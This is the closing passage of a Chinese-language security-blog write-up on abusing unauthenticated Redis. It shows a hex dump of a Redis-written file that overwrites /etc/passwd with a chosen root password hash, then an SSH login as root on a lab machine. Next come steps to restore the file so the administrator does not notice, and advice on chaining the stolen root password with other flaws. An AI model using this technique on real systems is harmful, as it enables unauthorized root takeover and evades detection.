0000070: 6461 3835 3338 6235 31643863 3235 3230  da8538b51d8c2520

0000080: 3937 6365 38fa 0b72 65706c2d 6f66 6673  97ce8..repl-offs

0000090: 6574 c000 fe00 fb04 00000566 6f75 7273  et.........fours

00000a0: c309 2601 3434 e019 00013434 0004 6162  ..&.44....44..ab

00000b0: 6364 40b8 0a0a 2072 6f6f743a 2436 246d  cd@... root:$6$m

00000c0: 7930 7361 6c74 3024 644d5442 6f4a 5357 y0sadlt0$yCCi..O

00000d0: 4470 4f50 6b5a 6869 304e7a39 6465 3336 sWo8n5MaBFytGaZ0

00000e0: 5369 4a78 4345 5559 4671316b 3970 3733 qTcHKErSaoyvAVvM

00000f0: 7449 3738 7172 7445 71354735 4235 367a tI78qrtEq5G5B56z

0000100: 7376 6e44 5444 6f4c 7241635a 4356 5a6e svnDTdfwkj2JCVZn

0000110: 6f74 6a5a 4c58 6954 6d517a30 6c2e 3a30 oke6c9.FkDN53.:0

0000120: 3a30 3a72 6f6f 743a 2f726f6f 743a 2f62 :0:root:/root:/b

0000130: 696e 2f62 6173 680a 73736864 3a78 3a31 in/bash.sshd:x:1

0000140: 3038 3a36 3535 3334 3a3a2f76 6172 2f72 08:65534::/var/r

0000150: 756e 2f73 7368 643a 2f757372 2f73 6269 un/sshd:/usr/sbi

0000160: 6e2f 6e6f 6c6f 6769 6e200a0a 0002 6161 n/nologin ....aa

0000170: 0166 0001 6102 6464 ffdb1772 3902 cde3  .f..a.dd...r9...

0000180: de                                       .

root所在行的第二個字段已從先前的 x 變為 YourNewPasswd%1024 對應的哈希,嘗試用該密碼 SSH 登錄 root 成功:

$ ssh 192.168.56.101
[email protected]'s password:
Welcome to Lamp, TurnKey GNU/Linux14.1 / Debian 8.9 Jessie
Last login: Mon Aug 28 01:23:30 2017from 192.168.56.104
root@lamp ~$ id
uid=0(root) gid=0(root)groups=0(root)

前面提過,由於 redis 只能按覆蓋模式寫文件而無法追加,這種入侵方式將破壞 /etc/passwd原始內容,所以成功登錄系統後務必盡早恢復 /etc/passwd,不然,輕則引起管理員註意,重則影響業務正常運行。先從 /etc/passwd- 恢復絕大部分內容:

$ cp /etc/passwd- /etc/passwd
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
...
mongodb:x:112:65534::/home/mongodb:/bin/false
yang:x:1000:1000::/home/yang:/bin/sh
memcache:x:113:120:Memcached,,,:/nonexistent:/bin/false

再從 /etc/shadow 找到缺失的賬號 wawa:

$ cat /etc/passwd- | cut -d ':' -f 1> a.txt && cat /etc/shadow | cut -d ':' -f 1 > b.txt &&diff a.txt b.txt
34d33
> wawa

手工追加 wawa 至 /etc/passwd:

wawa:x:1002:1002:,,,:/home/wawa:/bin/bash

整個過程完成。

現在我們已經實現將 root 密碼重置為 YourNewPasswd%1024,如果運氣好(目標端開啟 SSH 服務、允許 root 直登),這帶來的短期效益是可以 SSH 登錄該機器獲得 root 訪問權。如,嘗試用 root/ YourNewPasswd%1024 進行 SSH 登錄成功:

$ ssh [email protected]
[email protected]'s password:
Welcome to Lamp, TurnKey GNU/Linux14.1 / Debian 8.9 Jessie
...
Last login: Fri Sep  1 21:57:26 2017 from 192.168.56.104
root@lamp ~# id
uid=0(root) gid=0(root)groups=0(root)

如果運氣壞,即便密碼重置成功也無法登錄:

# ssh 192.168.56.101
[email protected]'s password:
Permission denied, please try again.

導致這種結果的原因很多,常見幾類:管理員在 /etc/ssh/sshd_config 中將 PermitRootLogin 置為 no 以禁止 root 直登,或者,管理員在 /etc/shadow 文件的 root:!$6$rWDSG…Hsi1:15347:0:9999:7::: 中的哈希密碼字段前增加了 ! 以鎖定該賬號,或者,管理員在 /etc/hosts.allow 中限定了可訪問該機器的源 IP 白名單等等。沒關系,長遠來看,我們掌握了 root 密碼,結合其他漏洞,也有很大幾率入侵成功,如,該機器的 web 應用存在命令註入漏洞,基於此可以獲得運行 web 容器的賬號 apache 的shell,由於知道 root 密碼,所以可 su root 獲得 root 控制權;又如,系統只是禁止 root 登錄,並未禁止其他賬號登錄,只要(通過其他漏洞)你已經掌握了該機器除 root 外的其他賬號名,那麽完全同時重置 root 和其他賬號的密碼,先登錄其他賬號再 su root 即可。入侵打的是組合拳,把思維發散開,終會有路。

*本文原創作者:[email protected]( blog ),屬於FreeBuf原創獎勵計劃,禁止轉載


Tags: redis 授權 自來 漏洞 訪問 版本

文章來源:


ads
ads

相關文章
ads

相關文章

ad